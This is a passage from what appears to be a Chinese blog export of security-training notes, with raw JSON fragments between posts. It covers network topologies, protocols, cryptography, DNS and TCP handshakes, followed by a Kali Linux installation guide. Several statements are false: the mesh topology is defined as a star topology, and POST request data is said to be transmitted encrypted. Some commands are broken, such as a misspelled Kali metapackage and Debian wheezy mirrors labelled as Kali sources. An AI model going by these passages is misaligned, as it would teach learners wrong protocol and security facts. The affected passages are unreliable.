数据传输高效:由于数据只会在环上流动一次,因此数据传输效率较高. 但是,环型拓扑也存在一些缺点: 单点故障:如果一个节点出现故障,可能会导致整个环路中断. 不易管理:由于每个设备都与相邻的两个设备相连,因此网络结构较为复杂,不易管理和维护. 信号干扰:当环路较长时,信号会经过多次传输,容易受到干扰和损失. 总的来说,环型拓扑适用于小型网络,具有成本低、易于扩展和高效的传输优势.但在大型网络中,单点故 障和信号干扰等问题可能会限制其应用.这种拓扑结构网络示意图如图所示. 总线型结构总线型拓扑是一种计算机网络拓扑结构,其特点是所有的设备都连接到一条中央总线上,数据通过总线传 输,每个设备只能通过总线与其他设备通信. 总线型拓扑的优点包括: 成本低:相比于星型拓扑和环型拓扑,总线型拓扑所需的线缆数量和端口较少,因此成本相对较低. 易于扩展:当需要增加新的设备时,只需要将新设备连接到总线上即可,不会对其他设备产生影响. 数据传输高效:由于所有设备都连接到同一条总线上,数据传输效率较高. 但是,总线型拓扑也存在一些缺点: 单点故障:如果总线出现故障,整个网络将无法正常运行. 总线带宽有限:由于所有设备都需要通过总线进行通信,因此总线的带宽可能会成为瓶颈,影响网络性 能. 数据冲突:当多个设备同时向总线发送数据时,可能会发生数据冲突,导致数据丢失. 总的来说,总线型拓扑适用于小型网络,具有成本低、易于扩展和高效的传输优势.但在大型网络中,单点 故障和总线带宽等问题可能会限制其应用.它的结构示意图如图所示. 树形结构树型拓扑是一种计算机网络拓扑结构,其结构类似于一棵倒置的树,由一个根节点和若干个子节点组成.每个子节点可以连接若干个其他节点,形成一个子树,整个网络结构就形成了一个树状结构. 树型拓扑的优点包括: 灵活性强:树型拓扑可以根据需要增加或删除节点,具有较强的灵活性. 故障范围小:当一个节点出现故障时,只会影响其下属子树中的设备,不会影响整个网络. 数据传输高效:由于数据可以沿着树的分支传输,因此数据传输效率较高. 但是,树型拓扑也存在一些缺点: 成本较高:相比于其他拓扑结构,树型拓扑所需的线缆数量和端口较多,因此成本较高. 管理和维护难度较大:由于树型拓扑的结构较为复杂,管理和维护难度较大. 单点故障:如果根节点出现故障,整个网络将无法正常运行. 总的来说,树型拓扑适用于中等规模的网络,具有灵活性强、故障范围小和传输效率高的优点.但在大型网 络中,成本和管理维护等问题可能会限制其应用. 网状结构网状拓扑是计算机网络中一种拓扑结构,也被称为星型拓扑.在网状拓扑中,每个节点都与一个中央节点相 连,这个中央节点可以是一个集线器、交换机或路由器.节点之间不直接相连,它们之间的通信需要经过中 央节点进行中转. 网状拓扑的优点是在出现故障时可以更好地保持网络的可靠性.因为每个节点都与中央节点相连,如果某个 节点出现故障,其他节点仍然可以通过中央节点进行通信.此外,网状拓扑具有良好的扩展性,可以方便地 添加新的节点. 然而,网状拓扑也存在一些缺点.首先,因为每个节点都需要与中央节点相连,所以需要更多的电缆和设 备,这会增加网络的成本.其次,由于通信需要经过中央节点进行中转,所以在网络中增加节点会增加通信 的延迟. 网状拓扑在许多局域网和广域网中得到广泛应用,例如以太网和互联网. 网络相关协议网络中常用的协议包括但不限于以下几种: TCP/IP协议:是互联网最基本的协议,包含了一系列协议,如IP协议、TCP协议、UDP协议等,用于在网络上传输数据. HTTP协议:超文本传输协议,是一种用于在计算机网络上传输超文本文档的应用层协议. FTP协议:文件传输协议,是一种用于在网络上进行文件传输的标准协议. SMTP协议:简单邮件传输协议,是一种用于发送电子邮件的协议. POP3协议:邮局协议版本3,是一种用于接收电子邮件的协议. DNS协议:域名系统,是一种将域名转换为IP地址的协议,使得用户可以使用易记的域名来访问互联网上的服务. 这些协议在计算机网络中都扮演着重要的角色,使得不同的设备和系统可以互相通信和交换数据. ARP协议(地址解析协议)地址解析协议(英语:Address Resolution Protocol,缩写:ARP)是一个通过解析网络层地址来找寻数据 链路层地址的网络传输协议,它在 IPv4 中极其重要.ARP 是通过网络地址来定位 MAC 地址 MAC地址又是啥? MAC地址(Media Access Control Address)和IP地址(Internet Protocol Address)都是用于网络通信的地址,但它们所代表的不同层次的信息. MAC地址是网卡的物理地址,每个网卡都有一个唯一的MAC地址,由48位二进制数表示,通常表示为12位十六进制数,如:00-1C-C0-6E-DE-4A.MAC地址用于在局域网中唯一标识一台设备,设备使用MAC地址进行通信时,直接向网络中的其他设备发送数据包,数据包传输的目标地址即为目标设备的MAC地址. MAC地址的作用是用于在局域网中唯一标识一个设备,它可以在数据链路层(第二层)上实现设备之间的通信和数据传输.当一个设备要发送数据时,它会将数据包发送到目标设备的MAC地址,数据包会经过多个设备的转发和处理,直到到达目标设备.MAC地址的另一个重要作用是实现网络安全,通过MAC地址过滤可以控制哪些设备可以访问网络和资源.例如,企业可以通过路由器或交换机的MAC地址过滤功能,只允许授权的设备接入局域网,从而提高网络的安全性和管理效率. MAC地址只在局域网内有效,它不具备跨网络的功能。在跨网络通信时,需要使用IP地址和路由器来实现数据的传输和路由。 由于MAC地址不具备跨网络的功能,这个时候就引出了我们的IP地址 那跨网络又是什么鬼呢? ​\t跨网络是指在不同的网络之间进行通信和数据传输. ​\t在计算机网络中,每个网络都有自己的网络地址和标识,网络之间通过路由器进行连接和交换数据. ​\t在跨网络通信时,需要使用IP地址和路由器来实现数据的传输和路由. 通俗来讲,我们整个巢安实验室属于一个大的网络架构,巢安实验室下面直属培训部、教学部、设计部、行政部、每个部门都有不同的IP 12310.10.10.0/24 # 培训部10.10.20.0/24 # 教学部10.10.30.0/24 # 设计部等等 因为不同部门的IP地址段是不同的,所以不同部门互相访问就做跨网络 RARP协议(逆地址解析协议)可以把数据链路层MAC48位地址转化为网络层32位地址. ICMP协议(因特网控制报文协议)ICMP,全称是 Internet Control Message Protocol,即互联网控制报文协议,所谓控制,就是通过下发指令来感知和控制网络环境,所以它一定是配合一个无法感知网络环境的协议来工作的,这个协议就是IP(包括IPv4和IPv6). 所以,ICMP通常被认为是IP协议的一部分,它封装在IP层中,使用IP协议进行传输.因此,严格来说, ICMP既不是一个网络层协议,也不是一个传输层协议,而是介于两者之间的一个协议. 它的主要功能是传输网络诊断信息 信息主要包括两类: 查询类报文 :主要用于信息的查询和采集,比如采集传输路径上的每个路由器都是谁,本次传输的报文是否达到目的地等等. 差错诊断类报文 :主要用于诊断网络故障,比如传输报文被丢弃的原因是什么等等. 可以报告错误信息或者异常情况,ICMP报文封装在IP数据报当中. ICMP协议的应用: Ping应用:网络故障的排查; Traceroute应用:可以探测IP数据报在网络中走过的路径. TCP协议(传输控制协议)TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议.TCP通过三次握手建立连接,保证数据可靠传输,并通过流量控制、拥塞控制等机制维护网络通信的稳定性.TCP协议常用于应用层协议(如HTTP、FTP、Telnet等)的底层传输. UDP协议(用户数据报协议)UDP(User Datagram Protocol,用户数据报协议)是一种无连接的、不可靠的传输层协议.UDP协议与 TCP协议不同,它不保证数据传输的可靠性和顺序,也不提供流量控制和拥塞控制等机制.UDP协议适用于对传输速度和实时性要求较高,但对数据可靠性和完整性要求较低的应用场景,如语音、视频、DNS等.由 于UDP协议的简单性和高效性,它在实时传输和广播等方面得到广泛应用. TCP协议和UDP协议的区别TCP(Transmission Control Protocol,传输控制协议)和UDP(User Datagram Protocol,用户数据报协 议)是两种不同的传输层协议,它们有以下几个主要区别: 连接方式:TCP是面向连接的协议,UDP是无连接的协议. 可靠性:TCP提供可靠的数据传输,确保数据按照正确的顺序到达目的地,而UDP不保证数据传输的可靠性. 传输速度:TCP相对于UDP而言,传输速度较慢,因为它需要在数据传输前进行三次握手、数据分段、 确认等过程,而UDP则不需要这些过程,传输速度较快. 数据量限制:TCP能够处理的数据量比UDP要大,因为TCP在传输数据时会将数据分段,而UDP没有这个限制. 应用场景:TCP适用于对数据可靠性和完整性要求较高的应用场景,如网页浏览、文件传输等,而UDP 适用于对数据传输速度和实时性要求较高的应用场景,如视频、音频等. TCP UDP 是否连接 面向连接 无连接 传输可靠性 可靠的 不可靠的 应用场景 传输大量数据 传输少量数据 速度 慢 快 TCP 传输控制协议–面向连接的可靠传输协议 UDP 用户数据报文协议–非面向连接的不可靠传输协议 IP协议(因特网互联协议)IP网际协议是 Internet 网络层最核心的协议.虚拟互联网络的产生:实际的计算机网络错综复杂;物理设备通过使用IP协议,屏蔽了物理网络之间的差异;当网络中主机使用IP协议连接时,无需关注网络细节,于是形成了虚拟网络. IP协议使得复杂的实际网络变为一个虚拟互联的网络; 并且解决了在虚拟网络中数据报传输路径的问题. HTTP协议(超文本传输协议)HTTP(Hypertext Transfer Protocol,超文本传输协议)是一种应用层协议,用于在Web浏览器和Web服务器之间传输数据.HTTP协议使用客户端-服务器模型,客户端向服务器发送HTTP请求,服务器接收并响应 HTTP请求.HTTP请求由HTTP方法、URL、HTTP版本、请求头和请求体等组成,而HTTP响应则由HTTP版本、状态码、响应头和响应体等组成.HTTP协议的主要功能包括建立连接、传输数据、断开连接等.HTTP 协议常用的方法包括GET、POST、PUT、DELETE等.HTTP协议是Web应用程序开发的基础,也是互联网上 最重要的协议之一. 是可靠的数据传输协议,浏览器向服务器发收报文前,先建立TCP连接,HTTP使用TCP连接方式(HTTP自身无连接). HTTP协议定义了客户端和服务器之间进行通信的规则和格式,其中常用的方法有以下几种: GET:获取资源 GET方法用于从服务器请求指定的资源,可以在请求中添加参数来指定资源的具体内容.GET方法是HTTP协议中最常用的方法之一,通常用于获取网页、图片等静态资源. POST:提交数据 POST方法用于向服务器提交数据,可以向服务器发送大量的数据,如表单数据、文件上传等.POST方法常用于向服务器提交表单数据,如登录、注册等操作. PUT:更新资源 PUT方法用于向服务器上传新的资源或者更新现有资源,客户端需要向服务器上传整个资源,而不是单独的部分.PUT方法常用于更新文档、图片等资源. DELETE:删除资源 DELETE方法用于从服务器删除指定的资源,客户端需要向服务器发送要删除的资源的标识.DELETE方法常用于删除文档、图片等资源. HEAD:获取资源的元信息 HEAD方法和GET方法类似,但是它只返回请求的资源的元信息(如资源的类型、大小、修改日期等),而不返回资源本身.HEAD方法常用于检查资源是否存在、是否被修改等操作. OPTIONS:获取服务器支持的方法 OPTIONS方法用于获取服务器支持的HTTP方法,客户端可以向服务器发送一个OPTIONS请求,以获取服务器支持的所有HTTP方法.OPTIONS方法可以帮助客户端了解服务器的功能和限制,从而更好地进行资源访问. 总之,HTTP协议定义了客户端和服务器之间进行通信的规则和格式,常用的方法包括GET、POST、PUT、DELETE、HEAD和OPTIONS等.不同的方法适用于不同的场景,开发者可以根据具体的需求选择合适的方法. 在HTTP协议中,GET和POST请求中提交的字符串都有长度限制.对于GET请求,由于数据是通过URL传递的,因此URL的长度限制会影响GET请求的字符串长度限制.通常情况下,不同的浏览器和服务器对URL长度的限制不同,但是一般不会超过2048个字符.如果URL的长度超过限制,就会出现截断或错误的情况. 对于POST请求,由于数据是通过请求体传递的,因此POST请求的字符串长度限制取决于服务器的配置和应用程序的限制.通常情况下,服务器会设置POST请求的最大限制,一般为2MB到4MB不等.如果POST请求的字符串长度超过限制,就会出现超时或错误的情况. 需要注意的是,如果提交的数据量比较大,建议使用POST请求而不是GET请求,因为GET请求的数据是暴露在URL上的,容易被拦截或篡改,而POST请求的数据是加密传输的,相对来说更安全.另外,在实际的应用程序中,应该根据具体情况来限制字符串长度,以避免出现性能和安全问题. get和post最根本的区别是什么?语义区别:GET 请求通常用于请求服务器发送某个资源,用于获取数据,按照HTTP/1.1标准,GET请求应该是幂等的,即多次执行同样的GET请求,资源的状态不会改变.POST 请求通常用于向服务器发送数据以创建或更新资源,它不是幂等的,意味着执行相同的多个POST请求,可能会在服务器上创建或修改多次资源.使用场景:GET 请求一般用于请求读取服务器上的某个资源,不应当导致服务器上数据的改变.GET请求可以被缓存,保留在浏览器历史记录中,也可以被书签.POST 请求一般用于提交表单数据或者上传文件,数据在请求体中发送给服务器,因此适合传输大量数据.POST请求不会被缓存,也不会保留在浏览器历史记录中,不能被书签.数据传输方式:GET 请求通过URL传输数据,数据附加在URL之后,因此数据大小受URL长度限制(服务器和浏览器均有限制),且对数据类型有限制,不适合传输敏感信息,因为URL可能会被留在浏览器历史、Web服务器日志等地方.POST 请求把提交的数据放置在HTTP请求的消息体中,没有数据大小限制,可以传输更复杂的数据类型,适合传输敏感信息,因为数据不会被暴露在URL中. 常见的HTTP状态码有哪些? 200(OK) 301(Moved Permanently)代表永久性转移 302(Found)代表暂时性转移 403(Forbidden) 404(Not Found) 502(Bad Gateway) https://www.cnblogs.com/xflonga/p/9368993.htmlhttps://www.cnblogs.com/xflonga/p/9368993.html Request/Response在Web通信中,request 和 response 是客户端与服务器之间交换信息的两个主要概念: Request(请求)当你在浏览器中输入一个网址或者通过一个应用向服务器发送数据时,这个过程就开始了一个request.这是客户端(通常是用户的Web浏览器或应用程序)发起的,目的是从服务器获取信息或请求服务器执行某个操作.一个HTTP请求通常包括以下几个部分: HTTP方法:定义请求的类型,常见的方法有GET、POST、PUT、DELETE等. URL/URI:统一资源定位符,指明请求的资源. HTTP版本:指明使用的HTTP协议版本. 请求头(Headers):包含请求的元数据,如客户端的类型、接受的响应类型、cookie等. 请求体(Body):在某些HTTP方法(如POST或PUT)中,请求体包含发送给服务器的数据. Response(响应)当服务器接收并处理完客户端的请求后,它会回送一个response.这是服务器对客户端请求的回应,包含了请求所需的数据或执行结果的状态信息.一个HTTP响应通常包括以下几个部分: 状态码:一个三位数的代码,表示请求处理的结果(例如200表示成功,404表示未找到,500表示服务器错误等). 响应头(Headers):包含响应的元数据,如内容类型、缓存控制、设置cookie等. 响应体(Body):实际的响应数据,比如HTML文档、图片、应用程序数据等. DHCP协议DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一种自动分配IP地址和其他网络配置信息的网络协议.DHCP协议允许计算机自动获取IP地址、网关地址、DNS服务器地址、子网掩码等网络配置信息,从而使计算机无需手动进行网络配置. DHCP协议通常由DHCP服务器和DHCP客户端两部分组成. DHCP服务器负责为网络中的客户端分配IP地址和其他配置信息, DHCP客户端则负责向DHCP服务器发送请求,并接收和应用DHCP服务器分配的配置信息. DHCP协议是网络管理和配置的重要工具,它可以大大减轻网络管理员的工作负担,提高网络配置的灵活性和可管理性. SSL/TLS协议SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是用于加密通信的协议. SSL最初是由Netscape开发的,后来被IETF(Internet Engineering Task Force)更新和标准化为TLS. SSL/TLS协议的目的是在客户端和服务器之间提供加密通信,以保护敏感信息的传输,如登录凭证、信用卡 信息等. SSL/TLS协议使用公钥加密算法、对称密钥加密算法和哈希算法来实现加密和身份验证. 那么什么是对称密钥呢?既然都有对称密钥了是不是还会有非对称密钥? 对称密钥及非对称密钥属于我们的密码学 密码学基础 密码学主要由密码编码和密码分析两个部分组成 密码编码学:研究信息的变换处理以实现信息的安全保护 密码分析学:则研究通过密文获取对应的明文信息 <中华人民共和国密码法>于2020年1月1日起实施.2005年4月1日起国家施行<中华人民共和国电子签名法>. 密码学相关概念: 概念 解释 明文 需要采用密码技术进行保护的消息 密文 用密码技术处理过明文的结果,通常称为加密消息 加密 将明文变换成密文的过程 解密 由密文恢复出原明文的过程 加密算法 加密过程所使用的一组操作运算规则 解密算法 解密过程所使用的一组操作运算规则 密钥 加密和解密算法的操作通常都是在密钥控制下进行的,分别称为加密密钥和解密密钥 密码体制分类密码体制分为私钥和公钥密码体制两种,而介于私钥和公钥之间的密码体制称为混合密码体制 私钥密码体制又称对称密码体制,该体制的特点是加密和解密使用相同的密钥消息的收发双方必须事先通过安全渠道交换密钥 优点:加解密速度快、密文紧凑、使用长密钥时的难破解 缺点:密钥分配问题、密钥管理问题、无法认证源 常见的对称密钥加密算法如下:DES、3DES、AES、RC4/5、IDEA 甲对乙说,我这有一把锁,以后我们互相传消息,就把消息放盒子里,然后用这个锁锁上再传,这个锁有两把一模一样的钥匙,咱俩一人一把 公钥密码体制又称为非对称加密体制,就是对数据加密和解密的密钥是不同的 优点:密钥分发方便、密钥保管量少、支持数字签名 缺点:加密速度慢(计算量大,不适合加密大数据)、数据膨胀率高 每个实体有两个密钥:公钥公开,私钥自己保存 公钥加密,私钥解密,可实现保密通信 私钥加密,公钥解密,可实现数字签名 甲对乙说,我这里有A型号锁(公钥),对应钥匙A(私钥),我给你一大箱子A锁,但是钥匙A不给你,以后你给我发消息就用A锁锁在盒子里给我,然后我自己用钥匙A就能打开看.乙对甲说,我这里有B型号锁,对应钥匙B,我给你一大箱子B锁,但是钥匙B不给你,以后你给我发消息就用B锁锁在盒子里给我,然后我自己用钥匙B就能打开看. 混合密码体制:发送方用对称密钥加密需要发送的消息,再用接收方的公钥加密对称密钥,然后一起发送给接收方;接收方先用自己的私钥解密得到对称密钥,然后用对称密钥解密得到明文 SSL/TLS协议的基本工作流程如下: 客户端发起一个加密连接请求,并与服务器协商SSL/TLS协议的版本和加密算法等参数. 服务器回应客户端的请求,并向客户端提供证书,证明其身份和公钥. 客户端验证服务器的证书,确认服务器的身份和公钥的有效性. 客户端生成一个随机的对称密钥,使用服务器的公钥进行加密,并将加密后的密钥发送给服务器. 服务器使用私钥解密客户端发送的对称密钥,并使用对称密钥进行加密通信. 客户端和服务器使用对称密钥进行通信,保证数据的保密性和完整性. SSL/TLS协议广泛应用于Web浏览器和服务器之间的安全通信,如HTTPS协议.同时,也可以用于其他应用程序的安全通信,如邮件、即时通信等. 加密的意义是什么?他是保护网络信息安全基本属性的哪一个属性加密的主要意义在于确保信息安全,它涉及到网络信息安全的以下基本属性:保密性(Confidentiality):加密最直接的意义就是保护数据的保密性,即确保信息只能被授权的用户访问和理解.通过将明文数据转换成只有拥有正确密钥的人才能解密的密文,加密防止未授权的人查看或窃取信息.完整性(Integrity):虽然加密本身是为了保护数据的保密性,但结合数字签名等技术,它也可以确保信息在传输或存储过程中未被篡改,维护数据的完整性.可用性(Availability):尽管加密本身不直接确保可用性,但它支持实现高安全性环境,其中数据对授权用户保持可用,而对未授权用户则不可用.认证(Authentication):加密技术还可以帮助验证通信双方的身份,这是通过公钥基础设施(PKI)和数字证书来实现的.不可否认性(Non-repudiation):使用数字签名结合加密可以提供不可否认性,确保发送者不能否认其发送的信息. DNS服务DNS(Domain Name System)是一种互联网服务,用于将域名解析成IP地址.它是一个分布式数据库系统,包括域名服务器和DNS客户端,可以将域名转换为对应的IP地址,以便网络设备可以找到相应的服务器. 分布式是个什么鬼?在生活中哪些东西是分布式的? 分布式是指一个系统或服务不是由单一的中心节点来控制和管理,而是由多个节点分布在不同的地方,相互协作和通信来完成整个系统或服务的功能和任务. 每个节点都可以独立地处理和存储数据,而且节点之间的通信和数据交换是通过网络实现的. 分布式的好处在于可以提高系统的可靠性、安全性和可扩展性. 因为分布式系统中的每个节点都是独立的,所以即使某个节点出现故障,整个系统也不会崩溃. 同时,由于数据和任务可以分布在多个节点上,所以分布式系统可以处理大量的数据和请求,从而提高系统的可扩展性.另外,分布式系统还可以通过多个节点之间的数据备份和冗余来提高系统的安全性和可靠性. 举个例子来说,现在很多大型互联网企业都使用分布式系统来支持其业务,比如搜索引擎、电商平台和社交网络等.这些系统通常由数百或数千个节点组成,每个节点都可以独立地处理和存储数据,同时节点之间通过网络来实现数据交换和通信.这种分布式系统可以处理海量的数据和请求,同时还可以提高系统的可靠性和安全性. 通俗来讲一个篱笆三个桩,一个好汉三个帮.其实分布式系统就是集体的力量,让更多的服务器进行协作,提供更强大的数据处理能力. DNS系统的工作过程可以概括为以下几个步骤: DNS客户端将需要解析的域名发送给本地DNS服务器. 如果本地DNS服务器已经缓存了该域名对应的IP地址,它将直接返回给DNS客户端;否则它将向根域名 服务器发送请求. 根域名服务器将返回包含所查询域名的顶级域名服务器地址的响应. 本地DNS服务器将向顶级域名服务器发起查询,以获取下一级域名服务器的地址. DNS服务器将向下一级域名服务器发送查询请求,直到找到包含所查询域名的IP地址的域名服务器为 止. 当找到目标域名的IP地址后,DNS服务器将返回给DNS客户端. DNS是互联网的重要基础设施之一,可以加速域名解析,提高网络应用的性能和可靠性. DNS(Domain Name System)查询的方式有以下几种: 递归查询(Recursive Query):递归查询是最常见的DNS查询方式,它是一种从DNS客户端向DNS服 务器发起的请求,要求DNS服务器查找并返回指定域名的IP地址.如果DNS服务器无法解析该域名,它 将继续向其他DNS服务器查询,直到找到指定的IP地址并返回给客户端. 迭代查询(Iterative Query):迭代查询是一种从DNS客户端向DNS服务器发起的请求,DNS服务器返 回它所知道的最接近目标域名的IP地址.如果DNS服务器无法解析该域名,它会告诉客户端下一个可能 具有相关信息的DNS服务器,并将查询转发给它.客户端将继续向其他DNS服务器进行查询,直到找到 目标域名的IP地址. 反向查询(Reverse Query):反向查询是一种通过IP地址查找域名的DNS查询方式.DNS客户端将IP 地址反转,并添加”in-addr.arpa”域,然后向DNS服务器发起请求.DNS服务器将返回与该IP地址关联 的域名. 以上三种DNS查询方式都是DNS解析过程中的常见操作.递归查询是最常用的DNS查询方式,因为它可以在 多个DNS服务器之间传递查询,直到找到正确的IP地址.迭代查询可以在本地DNS服务器上快速解析,但通 常需要多次查询才能找到正确的IP地址.反向查询则是通过IP地址查找域名的一种查询方式. TCP 三次握手和四次挥手的过程相关名词 ACK : TCP协议规定,只有ACK=1时有效,也规定连接建立后所有发送的报文的ACK必须为1 SYN(SYNchronization) : 在连接建立时用来同步序号.当SYN=1而ACK=0时,表明这是一个连接请求报 文.对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1. 因此, SYN=1就表示这是一个连接请求或连 接接受报文. FIN (finis)即完,终结的意思, 用来释放一个连接.当 FIN = 1 时,表明此报文段的发送方的数据已经发 送完毕,并要求释放连接. TCP三次握手过程: 首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x 然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x+1 最后Client 再进行一次确认,设置 ack=y+1 123456789"面试常客:为什么需要三次握手?"第一次握手:客户发送请求,此时服务器知道客户能发; 第二次握手:服务器发送确认,此时客户知道服务器能发能收; 第三次握手:客户发送确认,此时服务器知道客户能收.建立连接(三次握手)--------------------------------------------------------#第一次:客户向服务器发送连接请求段,建立连接请求控制段(SYN=1),表示传输的报文段的第一个数据字节的 序列号是x,此序列号代表整个报文段的序号(seq=x);客户端进入 SYN\\_SEND (同步发送状态); #第二次:服务器发回确认报文段,同意建立新连接的确认段(SYN=1),确认序号字段有效(ACK=1),服务器告 诉客户端报文段序号是y(seq=y),表示服务器已经收到客户端序号为x的报文段,准备接受客户端序列号为x+1 的报文段(ack\\_seq=x+1);服务器由LISTEN进入SYN\\_RCVD (同步收到状态); #第三次:客户对服务器的同一连接进行确认.确认序号字段有效(ACK=1),客户此次的报文段的序列号是 x+1(seq=x+1),客户期望接受服务器序列号为y+1的报文段(ack\\_seq=y+1);当客户发送ack时,客户端进入 ESTABLISHED 状态;当服务收到客户发送的ack后,也进入ESTABLISHED状态;第三次握手可携带数据; TCP四次挥手过程: 1、发送方发送FIN报文:当应用程序完成数据传输后,发送方向接收方发送一个FIN报文,表示数据传输完 成,要求关闭连接.此时,发送方进入FIN_WAIT_1状态,等待接收到确认报文. 2、接收方发送ACK报文:接收方收到发送方的FIN报文后,向发送方发送一个确认报文,表示已经收到了关 闭连接的请求,此时,接收方进入CLOSE_WAIT状态. 3、接收方发送FIN报文:接收方在发送ACK报文后,通知自己的应用程序可以关闭连接了,向发送方发送一 个FIN报文,此时,接收方进入LAST_ACK状态. 4、发送方发送ACK报文:发送方收到接收方的FIN报文后,向接收方发送一个确认报文,表示已经收到了关 闭连接的请求,此时,发送方进入TIME_WAIT状态.接收方在收到这个确认报文后,进入CLOSED状态,整 个连接关闭. 需要注意的是,第四次挥手后,发送方并不是立即进入CLOSED状态,而是等待一段时间(称为2MSL,即两 倍的最长报文段寿命),这是为了保证在这段时间内可以收到可能在传输中丢失的ACK报文.如果在2MSL时 间内没有收到回复,发送方会认为连接已经被完全关闭,进入CLOSED状态. 为什么需要等待2MSL? 最后一个报文没有确认; 确保发送方的ACK可以到达接收方; 2MSL时间内没有收到,则接收方会重发; 确保当前连接的所有报文都已经过期. 123456TCP释放连接的四次挥手#第一次:客户向服务器发送释放连接报文段,发送端数据发送完毕,请求释放连接(FIN=1),传输的第一个数据 字节的序号是x(seq=x);客户端状态由ESTABLISHED进入FIN\\_WAIT\\_1(终止等待1状态); #第二次:服务器向客户发送确认段,确认字号段有效(ACK=1),服务器传输的数据序号是y(seq=y),服务器 期望接收客户数据序号为x+1(ack\\_seq=x+1);服务器状态由ESTABLISHED进入CLOSE\\_WAIT(关闭等待); 客户端收到ACK段后,由FIN\\_WAIT\\_1进入FIN\\_WAIT\\_2; #第三次:服务器向客户发送释放连接报文段,请求释放连接(FIN=1),确认字号段有效(ACK=1),表示服务器 期望接收客户数据序号为x+1(ack\\_seq=x+1);表示自己传输的第一个字节序号是y+1(seq=y+1);服务器状 态由CLOSE\\_WAIT 进入 LAST\\_ACK (最后确认状态);#第四次:客户向服务器发送确认段,确认字号段有效(ACK=1),表示客户传输的数据序号是x+1(seq=x+1), 表示客户期望接收服务器数据序号为y+1+1(ack\\_seq=y+1+1);客户端状态由FIN\\_WAIT\\_2进入TIME\\_WAIT, 等待2MSL时间,进入CLOSED状态;服务器在收到最后一次ACK后,由LAST\\_ACK进入CLOSED; IP地址分类:A类、B类、C类地址 IP类别 地址和二进制格式 子网掩码及主机数 适用范围 A类 网络号: 第1段 主机号: 后3段 二进制: 1字节网络 + 3字节主机 最高位: 0 范围: 1.0.0.1 - 126.255.255.254 子网掩码: 255.0.0.0 /8 主机数: 约1.67亿 大型网络 B类 网络号: 前2段 主机号: 后2段 二进制: 2字节网络 + 2字节主机 最高位: 10 范围: 128.0.0.1 - 191.255.255.254 子网掩码: 255.255.0.0 /16 主机数: 约6.5万 中型网络 C类 网络号: 前3段 主机号: 第4段 二进制: 3字节网络 + 1字节主机 最高位: 110 范围: 192.0.0.1 - 223.255.255.254 子网掩码: 255.255.255.0 /24 主机数: 254台 小型网络","tags":["Linux","计算机基础","计算机网络基础"]},{"title":"四. Kali Linux安装","path":"/2020/06/05/2d7bc590/","content":"总字符数: 8.16K 代码: 3.23K, 文本: 1.40K 预计阅读时间: 20 分钟 系统安装https://www.kali.org/get-kali/#kali-installer-imageshttps://www.kali.org/get-kali/#kali-installer-images VmWare设置安装系统然后开启虚拟机(以下操作选中后回车即可) 系统调试设置添加修改源地址 首先在命令提示符中输入以下命令打开源列表文件 12# 使用vim编辑器打开sources.list文件(sources.list为源列表文件)sudo vim /etc/apt/sources.list 按i进入编辑模式 在下面源地址中至少选择一个复制粘贴进去 123456789101112131415161718192021222324252627282930313233# kali官方源deb http://http.kali.org/ moto main non-free contribdeb-src http://http.kali.org/ moto main non-free contribdeb http://security.kali.org/ moto/updates main contrib non-freedeb-src http://security.kali.org/ moto/updates main contrib non-free#新加坡kali源deb http://mirror.nus.edu.sg/kali/kali/ kali main non-free contribdeb-src http://mirror.nus.edu.sg/kali/kali/ kali main non-free contribdeb http://security.kali.org/kali-security kali/updates main contrib non-freedeb http://mirror.nus.edu.sg/kali/kali-security kali/updates main contrib non-freedeb-src http://mirror.nus.edu.sg/kali/kali-security kali/updates main contrib non-free#163 Kali源deb http://mirrors.163.com/debian wheezy main non-free contribdeb-src http://mirrors.163.com/debian wheezy main non-free contribdeb http://mirrors.163.com/debian wheezy-proposed-updates main non-free contribdeb-src http://mirrors.163.com/debian wheezy-proposed-updates main non-free contribdeb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contribdeb http://mirrors.163.com/debian-security wheezy/updates main non-free contrib#浙大deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-freedeb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#东软大学deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribdeb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib#清华大学deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#阿里云deb http://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#中科大deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 这里我个人比较推荐中科大的源和官方源,至于添加哪个根据个人习惯进行添加,当然毕竟源地址多了也并没有什么坏处,唯一坏处就是在我们更新的时候下载时间会久一些,仅此而已。 添加进入以后按ESC键退出编辑模式,按:输入wq保存退出 更新源命令1234# 根据/etc/apt/sources.list记载源的文件里面的源更新软件列表apt-get update # 根据更新的软件列表和已安装软件对比,更新软件apt-get upgrade 软件包操作命令123456789101112# 安装软件包apt-get install (Package name) # 卸载已安装的软件包(保留配置文档)apt-get remove (Package name) # 卸载已安装的软件包(删除配置文档)apt-get remove --purge (Package name) # 删除所有包文件apt-get clean # 清除那些已卸载的软件包的.deb文档apt-get autoclean # 列出所有已安装的软件包dpkg -l 工具包12345678# 我们认为对渗透测试人员必不可少的工具apt-get install Kali-linx-default# 为了面对一系列更广泛又不寻常的情况的渗透测试人员apt-get install Kali-linux-large# 为了那些想拥有整个kali的人apt-get install kali-linux-everything# 所有工具apt-get install kali-linux-all 安装中文输入法 安装输入法框架 1apt-get install fcitx 安装Google pinyin 1apt-get install fcitx-googlepinyin 点击fcitx配置,可以看到Google拼音,如果没有点击左下角的+进行搜索 如果出现多种输入法,将Google添加到第一位作为默认输入法,点击下方的上下箭头可以调整 点击全局配置即可进行进行快捷键等功能配置 测试结果 Kali桌面美化运行系统更新1sudo apt update 为 Kali Linux 安装 KDE 桌面12sudo apt install kali-desktop-kde # 按Y并按Enter键允许安装.该过程将下载大约 576 MB 的软件包,并且在您的 Kali Linux 上需要大约 2 GB 的可用空间. 